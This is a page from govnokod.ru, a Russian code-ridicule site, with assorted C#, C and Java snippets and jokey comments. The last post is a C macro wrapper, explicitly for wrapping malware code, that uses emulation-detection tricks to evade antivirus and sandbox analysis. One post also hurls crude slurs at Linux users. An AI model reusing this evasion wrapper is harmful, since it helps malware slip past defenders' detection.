- 1
- 2
Товарищ главный петух,
Военный петух к проведению парада готов.
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
Товарищ главный петух,
Военный петух к проведению парада готов.
+128
static readonly Regex binary = new Regex("^[01]{1,32}$", RegexOptions.Compiled);
static void Main() {
Test("");
Test("01101");
Test("123");
Test("0110101101010110101010101010001010100011010100101010");
}
static void Test(string s) {
if (binary.IsMatch(s)) {
Console.WriteLine(Convert.ToInt32(s, 2));
} else {
Console.WriteLine("invalid: " + s);
}
}
http://stackoverflow.com/questions/1271562/binary-string-to-integer
Мучает вопрос. Зачем ставить регулярку? Почему бы просто не словить FormatExeption?
+103
/* Copyright 2009 10gen Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/* all the numbers that fit in a 4 byte string */
const char bson_numstrs[1000][4] = {
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"10", "11", "12", "13", "14", "15", "16", "17", "18", "19",
/* 105 строк поскипано */
"980", "981", "982", "983", "984", "985", "986", "987", "988", "989",
"990", "991", "992", "993", "994", "995", "996", "997", "998", "999",
};
Взято отсюда - http://github.com/mongodb/mongo-c-driver/blob/master/src/numbers.c . А это коммит - http://github.com/mongodb/mongo-c-driver/commit/0198225180a51e0b0b8a84f25b34b3047d3b9c80
+10
public static string toFormat(string s, int u)
{
return " ".Substring(0, u * 4) + s +"\r\n";
}
Функция используется для форматирования файла класса, созданного автоматически.
+3
var actions = new List<Action>();
foreach (var i in Enumerable.Range(1, 3))
{
actions.Add(() => Console.WriteLine(i));
}
foreach (var action in actions)
{
action();
}
По мотивам https://govnokod.ru/11946
Просто форкнул и запустил старый пример LispGovno (мир ему)
Старый пример: https://ideone.com/RaiHr
Новый пример: https://ideone.com/M1ducs
Однако получил совершенно другой результат.
0
static class MathParser
{
static double getFunc(char op, double a, double b)
{
switch (op)
{
case '+': return a + b; case '-': return a - b;
case '*': return a * b; case '/': return a / b; case '%': return a % b;
case '^': return Pow(a, b); default: return double.NaN;
}
}
static char[][] ops = { new char[] { '+', '-' }, new char[] { '*', '/', '%' }, new char[] { '^' } };
public static double Eval(string str) => Eval(ref str, 0, str.Length);
private static double Eval(ref string str, int z, int l, int i = 0)
{
for (; i < 3; i++)
for (int v = l - 1; v >= z; v--)
for (int j = ops[i].Length - 1; j >= 0; j--)
if (str[v] == ops[i][j])
return getFunc(str[v],
Eval(ref str, z, v, i),
Eval(ref str, v + 1, l, i + 1));
return double.Parse(str.Substring(z, l - z));
}
}
Какой-то укуренный калькулятор получился...
MathParser.Eval("3,1346") => 3.1346
MathParser.Eval("3+2*5") => 13
MathParser.Eval("2^5-1") => 31
MathParser.Eval("1/2^3") => 0.125
MathParser.Eval("2^2^2^2") => 256
MathParser.Eval("7,2%3") => 1.2
+273
#include <math.h>
#include <stdio.h>
double DoubleToTheInt(double base, int power) {
return pow(base, power);
}
int main() {
// приводим к указателю на функуцию с обратным порядком аргументов
double (*IntPowerOfDouble)(int, double) =
(double (*)(int, double))&DoubleToTheInt;
printf("(0.99)^100: %lf \n", DoubleToTheInt(0.99, 100));
printf("(0.99)^100: %lf \n", IntPowerOfDouble(100, 0.99));
}
"Изящный способ отстрелить себе ногу по самую голову."
Утащено с Хабры.
+4
Прыщебляди соснули.
Итак, прыщеблядки. Console.WriteLine() в C# в windows 7 замечательно выводит юникод в консоли после chcp 65001, что в консоль, что в файл (в формате utf-8 без BOM). Жду ваших оправданий, почему это не работает в ваших "кроссплатформенных" поделиях вроде питона.
+84
public static int getNumber() {
try {
return 7;
} finally {
return 43;
}
}
Оказывается так делать можно...
−1
#define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
#define BYPASS_AV_END }}}}}
int main()
{
BYPASS_AV_BEGIN
//malware code...
BYPASS_AV_END
}
Обход антивирусов и антивирусных виртуалок
https://lolzteam.org/threads/1275661/